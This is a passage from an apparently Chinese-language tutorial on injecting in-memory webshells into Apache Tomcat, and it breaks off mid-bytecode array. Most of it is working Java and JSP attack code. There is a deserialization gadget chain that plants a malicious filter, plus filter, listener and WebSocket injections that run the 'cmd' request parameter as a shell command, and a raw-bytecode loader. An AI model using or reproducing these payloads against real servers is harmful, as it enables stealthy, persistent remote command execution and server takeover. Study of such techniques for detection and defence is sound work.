ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}
}import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;import org.apache.catalina.Context;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.HashSet;
import java.util.Map;
import java.util.Scanner;public class FilterTemplatesImpl extends AbstractTranslet implements Filter {
public void init(FilterConfig config) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws java.io.IOException, ServletException {
String cmd = request.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();// 把请求传回过滤链
chain.doFilter(request,response);
}
public void destroy( ){}
static HashSet<Object> h;
static HttpServletRequest r;
static HttpServletResponse p;public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public FilterTemplatesImpl(){
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");//修改static final
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);//静态变量直接填null即可
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());}else {
AddMemoryShell(lastServicedRequest, lastServicedResponse);
}
}catch (Exception e){
e.printStackTrace();
}}
public FilterTemplatesImpl(String s){
}
public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}public static void AddMemoryShell(ThreadLocal<ServletRequest> lastServicedRequest, ThreadLocal<ServletResponse> lastServicedResponse) throws Exception{
ServletRequest servletRequest = lastServicedRequest.get();
ServletResponse servletResponse = lastServicedResponse.get();//开始注入内存马
ServletContext servletContext = servletRequest.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) context1.get(applicationContext);Filter evilFilter = new FilterTemplatesImpl("evilFilter");
FilterDef filterDef = new FilterDef();
filterDef.setFilter(evilFilter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(evilFilter.getClass().getName());
standardContext.addFilterDef(filterDef);
System.out.println();
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMap(filterMap);
}
}
原理与反序列化Tomcat-Servlet差不多,只是把恶意模板类改成Filter的实现,创建Servlet的流程改成创建Filter的流程。就不过多解释了。
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%
ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}@Override
public void destroy() {}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMap(filterMap);%>
编写一个简单的HelloListener:
package com.example.tomcatservletmemshell;import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;@WebListener(value = "/hello-servlet")
public class HelloListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("request destroyed");
}@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("request initialized");
}}
Listener分多种,ServletRequestListener访问服务时触发。同样,在下图位置打下断点,分析调用栈:
进入org.apache.catalina.core.StandardContext#fireRequestInitEvent
:
其中listener的定义如下:
可以看到listener是把instance进行强转之后得到的。而instance是instances数组中的一个元素,我们看看instances是怎么来的:
跟进org.apache.catalina.core.StandardContext#getApplicationEventListeners
:
我们发现instances是把applicationEventListenersList
转为数组得到的,在org.apache.catalina.core.StandardContext#addApplicationEventListener
发现applicationEventListenersList
的元素是如何添加的:
因此注入Listener内存马的方法就很简单了。获取到StandardContext后直接调用addApplicationEventListener方法传入要注入的Listener即可。
过于简单,交给读者完成。(其实是我实在懒得写了,嘻嘻~)
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %><%!
public class EvilListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {try {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
Response response = request.getResponse();
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().flush();
response.getWriter().write(output);
response.getWriter().flush();
}
}catch (Exception e){
e.printStackTrace();
}}
public void requestInitialized(ServletRequestEvent sre) {
}
}
%><%
ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);EvilListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);%>
WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。主流浏览器以及一些常见服务端通信框架(Tomcat、netty、undertow、webLogic等)都对WebSocket进行了技术支持。
导入依赖,应与自己的Tomcat版本一致:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-websocket</artifactId>
<version>9.0.76</version>
</dependency>
以下是一个简单的Tomcat-Websocket样例:
package com.example.tomcatservletmemshell;import javax.websocket.*;
import java.io.IOException;public class HelloWebsocket extends Endpoint {
private Session session;@Override
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.session = session;
session.addMessageHandler(new MessageHandler.Whole<String>() {
@Override
public void onMessage(String message) {
System.out.println("Receice message: "+message);
}
});
System.out.println("Websocket: " + session.toString());
try {
session.getBasicRemote().sendText("Hello World!");
} catch (IOException e) {
e.printStackTrace();
}
}@Override
public void onClose(Session session, CloseReason closeReason) {
System.out.println("Close!!!");}
public void onError(Session session, Throwable throwable) {
System.out.println("Error!!!");
throwable.printStackTrace();
}
}
package com.example.tomcatservletmemshell;import javax.websocket.Endpoint;
import javax.websocket.server.ServerApplicationConfig;
import javax.websocket.server.ServerEndpointConfig;
import java.util.HashSet;
import java.util.Set;public class EndpointApplicationConfig implements ServerApplicationConfig {
@Override
public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> set) {Set<ServerEndpointConfig> result = new HashSet<>();
if (set.contains(HelloWebsocket.class)) {
result.add(ServerEndpointConfig.Builder.create(HelloWebsocket.class, "/websocket").build());
}
return result;
}@Override
public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> set) {
System.out.println(set);
return set;
}
}
运行后可以用以下python代码连接:
import websocketws = websocket.create_connection("ws://127.0.0.1:8080/websocket")
ws.send("HELLO")
print(ws.recv())
ws.close()
在了解Tomcat-Websocket的加载之前,需要先了解一下Tomcat的SCI机制。这里贴一篇关于SCI机制的文章吧:https://blog.csdn.net/lqzkcx3/article/details/78507169
ServletContainerInitializer接口的实现类通过java SPI声明自己是ServletContainerInitializer 的provider.
容器启动阶段依据java spi获取到所有ServletContainerInitializer的实现类,然后执行其onStartup方法.
另外在实现ServletContainerInitializer时还可以通过@HandlesTypes注解定义本实现类希望处理的类型,容器会将当前应用中所有这一类型(继承或者实现)的类放在ServletContainerInitializer接口的集合参数c中传递进来。如果不定义处理类型,或者应用中不存在相应的实现类,则集合参数c为空.
这一类实现了 SCI 的接口,如果做为独立的包发布,在打包时,会在JAR 文件的 META-INF/services/javax.servlet.ServletContainerInitializer 文件中进行注册。 容器在启动时,就会扫描所有带有这些注册信息的类(@HandlesTypes(WebApplicationInitializer.class)这里就是加载WebApplicationInitializer.class类)进行解析,启动时会调用其 onStartup方法——也就是说servlet容器负责加载这些指定类, 而ServletContainerInitializer的实现者(例如Spring-web中的SpringServletContainerInitializer对接口ServletContainerInitializer的实现中,是可以直接获取到这些类的)
大致意思就是说在Tomcat启动的时候,将会对classpath下的jar进行扫描,扫描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件,对其中提到的类进行加载,调用这个类的onStartup方法。那么我们来看一下tomcat-websocket.jar中的META-INF/services/javax.servlet.ServletContainerInitializer文件:
接下来我们在org.apache.tomcat.websocket.server.WsSci#onStartup下打断点:
首先调用init
进行初始化操作WsServerContainer对象,跟进一下init方法:
创建了一个WsServerContainer对象sc,参数为servletContext对象。之后调用servletContext的setAttribute()方法,将servletContext的javax.websocket.server.ServerContainer
属性设置为sc,并添加了两个listener,一个是WsSessionListener,一个是WsContextListener。添加WsSessionListener的作用是当http的session销毁时同样销毁掉websocket session:
不过因为我们是注入内存马,只需要了解注册过程即可,并不需要太注意它的作用。之后将一个ServerEndpointConfig
对象传给了sc的addEndpoint
方法:
跟进一下这个addEndpoint方法,这里获取到 path:
在取出了其中配置的路由之后生成了一个mapping映射:
接下来总结一下注入流程:
1.创建一个恶意的Endpoint,实现MessageHandler接口,重写onMessage方法。
2.为该Endpoint创建ServerEndpointConfig。
3.获取servletContext的javax.websocket.server.ServerContainer
属性得到WsServerContainer
4.通过WsServerContainer.addEndpoint
添加ServerEndpointConfig
回想一下,我们之前是怎样创建一个恶意的Filter对象或者一个恶意的Servlet对象的?我们是直接让TemplatesImpl对象的_bytecodes字段所对应的那个类实现了Filter接口或Servlet接口,但是现在我们不能继续通过这样的方式来生成一个恶意的Endpoint了。因为这个类必需要继承AbstractTranslet,因此就无法再继承Endpoint了。那我们还有什么办法吗?当然是通过ClassLoader的defineClass来向JVM中注册一个恶意的Endpoint了。我们可以通过Thread.*currentThread*().getContextClassLoader()
来获取ClassLoader,之后通过反射的方法,执行defineClass方法,将我们设置好的byte数组转变为java类。具体请看以下代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.PriorityQueue;public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(WebsocketTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});return queue;
}@org.junit.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}@org.junit.Test
public void test2()throws Exception{
byte[] bytes = ClassPool.getDefault().get(EvilWebsocket.class.getName()).toBytecode();
System.out.println(Arrays.toString(bytes));
}}
执行test2获取到EvilWebsocket类的字节码,之后更改 下面WebsocketTemplatesImpl类中的bytes即可:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.websocket.server.WsServerContainer;import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;public class WebsocketTemplatesImpl extends AbstractTranslet{
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}static {
try {
String urlPath = "/evilWebsocket";
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");//修改static final
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);//静态变量直接填null即可
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
}else {
ServletRequest servletRequest = lastServicedRequest.get();
ServletResponse servletResponse = lastServicedResponse.get();//开始注入内存马
ServletContext servletContext = servletRequest.getServletContext();
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class clazz;
byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, -110, 10, 0, 30, 0, 75, 8, 0, 76, 10, 0, 77, 0, 78, 10, 0, 7, 0, 79, 8, 0, 80, 10, 0, 7, 0, 81, 7, 0, 82, 8, 0, 83, 8, 0, 84, 8, 0, 85, 8, 0, 86, 10, 0, 87, 0, 88, 10, 0, 87, 0, 89, 10, 0, 90, 0, 91, 7, 0, 92, 10, 0, 15, 0, 93, 8, 0, 94, 10, 0, 15, 0, 95, 10, 0, 15, 0, 96, 10, 0, 15, 0, 97, 8, 0, 98, 9, 0, 29, 0, 99, 11, 0, 100, 0, 101, 11, 0, 102, 0, 103, 7, 0, 104, 10, 0, 25, 0, 105, 11, 0, 100, 0, 106, 10, 0, 29, 0, 107, 7, 0, 108, 7, 0, 109, 7, 0, 111, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 15, 76, 69, 118, 105, 108, 87, 101, 98, 115, 111, 99, 107, 101, 116, 59, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 7, 105, 115, 76, 105, 110, 117, 120, 1, 0, 1, 90, 1, 0, 5, 111, 115, 84, 121, 112, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 99, 109, 100, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 2, 105, 110, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 1, 115, 1, 0, 19, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 1, 0, 6, 111, 117, 116, 112, 117, 116, 1, 0, 9, 101, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 7, 99, 111, 109, 109, 97, 110, 100, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 82, 7, 0, 48, 7, 0, 112, 7, 0, 92, 7, 0, 108, 7, 0, 104, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 6, 99, 111, 110, 102, 105, 103, 1, 0, 32, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 18, 69, 118, 105, 108, 87, 101, 98, 115, 111, 99, 107, 101, 116, 46, 106, 97, 118, 97, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 113, 12, 0, 114, 0, 115, 12, 0, 116, 0, 117, 1, 0, 3, 119, 105, 110, 12, 0, 118, 0, 119, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 2, 115, 104, 1, 0, 2, 45, 99, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 7, 0, 120, 12, 0, 121, 0, 122, 12, 0, 123, 0, 124, 7, 0, 125, 12, 0, 126, 0, 127, 1, 0, 17, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 12, 0, 34, 0, -128, 1, 0, 2, 92, 65, 12, 0, -127, 0, -126, 12, 0, -125, 0, -124, 12, 0, -123, 0, 117, 1, 0, 0, 12, 0, 32, 0, 33, 7, 0, -122, 12, 0, -121, 0, -119, 7, 0, -117, 12, 0, -116, 0, 42, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, -115, 0, 35, 12, 0, -114, 0, -113, 12, 0, 41, 0, 42, 1, 0, 13, 69, 118, 105, 108, 87, 101, 98, 115, 111, 99, 107, 101, 116, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, -112, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 8, 99, 111, 110, 116, 97, 105, 110, 115, 1, 0, 27, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 104, 97, 114, 83, 101, 113, 117, 101, 110, 99, 101, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 12, 117, 115, 101, 68, 101, 108, 105, 109, 105, 116, 101, 114, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 1, 0, 7, 104, 97, 115, 78, 101, 120, 116, 1, 0, 3, 40, 41, 90, 1, 0, 4, 110, 101, 120, 116, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 